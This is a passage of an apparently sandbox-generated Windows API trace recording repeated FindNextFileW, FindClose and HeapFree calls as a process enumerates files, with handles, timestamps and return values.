(in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0289.250] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0289.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5490050 | out: hHeap=0x640000) returned 1 [0289.250] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 0 [0289.250] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0289.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0289.250] FindNextFileW (in: hFindFile=0x65b290, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0 [0289.250] FindClose (in: hFindFile=0x65b290 | out: hFindFile=0x65b290) returned 1 [0289.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0289.252] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0289.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0289.253] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0289.266] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.266] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0289.266] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0289.266] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5490050 | out: hHeap=0x640000) returned 1 [0289.266] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 0 [0289.266] FindClose (in: hFindFile=0x380bd60 | out: hFindFile=0x380bd60) returned 1 [0289.266] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0289.266] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0289.405] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.406] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.406] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.406] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.407] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.407] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.407] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.407] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.407] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.407] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.407] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.407] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.407] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.407] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.407] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.408] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.408] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.408] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.408] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.408] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.408] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.408] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.408] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.408] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.408] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.408] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.409] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.409] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.409] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.409] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.409] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.409] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.409] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.409] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.409] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.409] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.410] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.410] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.410] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.410] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.410] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.410] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.410] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.410] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.410] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.410] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.411] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.411] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.411] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.411] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.411] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.411] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.411] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.411] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.411] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.411] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.411] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.412] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.412] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.412] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.412] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.412] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.412] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.412] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.412] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.412] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0289.412] FindClose (in: hFindFile=0x65ad90 | out: hFindFile=0x65ad90) returned 1 [0289.413] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5490050 | out: hHeap=0x640000) returned 1 [0289.413] FindNextFileW (in: hFindFile=0x65b290, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0289.413] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5490050 | out: hHeap=0x640000) returned 1 [0289.413] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0289.413] FindClose (in: hFindFile=0x380bd60 | out: hFindFile=0x380bd60) returned 1 [0289.413] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.413] FindNextFileW (in: hFindFile=0x65b290, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 0 [0289.413] FindClose (in: hFindFile=0x65b290 | out: hFindFile=0x65b290) returned 1 [0289.414] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0289.414] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0 [0289.414] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0289.414] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0289.414] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0289.414] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5490050 | out: hHeap=0x640000) returned 1 [0289.414] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0289.414] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5490050 | out: hHeap=0x640000) returned 1 [0289.414] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0 [0289.414] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0289.414] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0289.414] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0289.415] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5490050 | out: hHeap=0x640000) returned 1 [0289.415] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0289.428] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.428] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.429] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.429] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.429] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.429] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.429] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.429] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.429] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.429] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.429] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.429] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.430] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.430] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.430] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.430] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.430] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.430] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.430] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.430] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.430] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.430] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.431] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.431] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.431] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.431] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.431] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.431] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.435] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.435] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.435] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.435] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.436] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.436] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.437] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.437] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.437] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.437] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.438] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.438] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.438] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.438] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.439] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.439] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.440] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.440] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.440] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.440] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.441] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.441] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.441] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.441] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.442] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.442] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.442] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.442] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.443] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.443] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.444] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.444] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.444] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.444] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.445] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.446] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.446] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.446] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.447] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.447] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0289.447] FindClose (in: hFindFile=0x380bde0 | out: hFindFile=0x380bde0) returned 1 [0289.447] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0289.447] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0289.447] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5490050 | out: hHeap=0x640000) returned 1 [0289.447] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0 [0289.447] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0289.447] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0289.450] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0289.485] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5490050 | out: hHeap=0x640000) returned 1 [0289.485] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0289.485] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.485] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0 [0289.486] FindClose (in: hFindFile=0x380bd60 | out: hFindFile=0x380bd60) returned 1 [0289.486] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0289.486] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0289.486] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.486] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0289.487] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.487] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0289.487] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0289.487] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5490050 | out: hHeap=0x640000) returned 1 [0289.487] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 0 [0289.487] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0289.487] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.487] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0289.503] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.503] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.503] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.503] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.532] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.532] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.532] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.532] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.532] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.532] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.533] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.533] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.534] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.534] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.541] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.542] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.542] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.542] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.543] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.543] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.545] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.545] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.546] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.546] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.548] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.548] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 